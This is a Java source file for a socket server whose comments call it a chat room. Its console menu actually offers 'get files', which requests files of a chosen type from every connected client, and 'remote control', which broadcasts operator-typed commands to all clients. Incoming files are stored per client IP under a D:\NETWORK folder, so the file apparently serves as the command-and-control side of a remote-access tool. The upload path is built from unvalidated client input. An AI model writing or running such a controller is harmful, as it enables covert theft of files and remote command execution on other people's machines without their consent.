package main;

import com.alibaba.fastjson.JSON;

import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.List;
import java.util.Scanner;
import java.util.concurrent.CopyOnWriteArrayList;

public class Server {
    private static final String FILE_PATH = "D:\\NETWORK";
    public static void main(String[] args) throws IOException {
        List<Socket> socketList = new CopyOnWriteArrayList<>();
        //监听端口
        //网络聊天室
        ServerSocket serverSocket = new ServerSocket(8888);
        ServerSocket serverSocketFile = new ServerSocket(9999);
        new Thread(()->{

            try {
                while(true) {
                    Socket fileSocket = serverSocketFile.accept();
                    new Thread(()->{
                        try {
                            DataInputStream dataInputStream = new DataInputStream(fileSocket.getInputStream());
                            String fileName = dataInputStream.readUTF();
                            String[] arrs = fileName.split("\\.");
                            String ipaddress = fileSocket.getInetAddress().getHostAddress();
                            File descFile = new File(FILE_PATH+File.separator+ipaddress+File.separator+arrs[arrs.length-1]+File.separator+fileName);
                            if(!descFile.getParentFile().exists()){
                                descFile.getParentFile().mkdirs();
                            }
                            BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(descFile));
                            byte[] bufs = new byte[1024];
                            int length = dataInputStream.read(bufs);
                            while(length != -1){
                                bufferedOutputStream.write(bufs,0,length);
                                length = dataInputStream.read(bufs);
                            }
                            bufferedOutputStream.flush();
                            bufferedOutputStream.close();
                            dataInputStream.close();
                            fileSocket.close();
                        } catch (IOException e) {
                            e.printStackTrace();
                        }

                    }).start();

                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }).start();
        //启动子线程等待客户端连接
        //new Thread(){}.start();
        //消息传输，和网络聊天
        new Thread(()->{
            while(true){
                try {
                    //有客户端连接
                    Socket socket = serverSocket.accept();
                    socketList.add(socket);
                    new Thread(()->{
                        try {
                            DataInputStream dataInputStream = new DataInputStream(socket.getInputStream());
                            while(true){
                                String jsonCmd = dataInputStream.readUTF();
                                //Cmd cmd = JSON.parseObject(jsonCmd,Cmd.class);
                                sendToaLL(socketList, jsonCmd);
                            }
                        } catch (IOException e) {
                            System.out.println(socket.getRemoteSocketAddress()+"下线");
                            socketList.remove(socket);
                        }

                    }).start();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }).start();
        Scanner scanner = new Scanner(System.in);
        while(true){
            System.out.println("1:获取文件");
            System.out.println("2:远程控制");
            System.out.println("3:退出系统");
            System.out.println("请选择...");
            String select = scanner.nextLine();
            switch (select){
                case "1":
                    System.out.println("请输入文件类型");
                    String fileType = scanner.nextLine();
                    Cmd cmd = new Cmd(2,fileType);
                    String jsonCmd = JSON.toJSONString(cmd);
                    sendToaLL(socketList,jsonCmd);
                    break;
                case "2":
                    System.out.println("请输入命令");
                    String cmdStrr = scanner.nextLine();
                    Cmd thiscmd = new Cmd(3,cmdStrr);
                    String thisJsonCmd = JSON.toJSONString(thiscmd);
                    sendToaLL(socketList,thisJsonCmd);
                    break;
                case "3":
                    System.exit(1);
                    break;
                default:
                    System.out.println("选择有误，请重新选择!!!");
            }
        }
    }

    private static void sendToaLL(List<Socket> socketList, String revStr) throws IOException {
        for(Socket socket:socketList){
            DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
            dataOutputStream.writeUTF(revStr);
            dataOutputStream.flush();
        }
    }
}
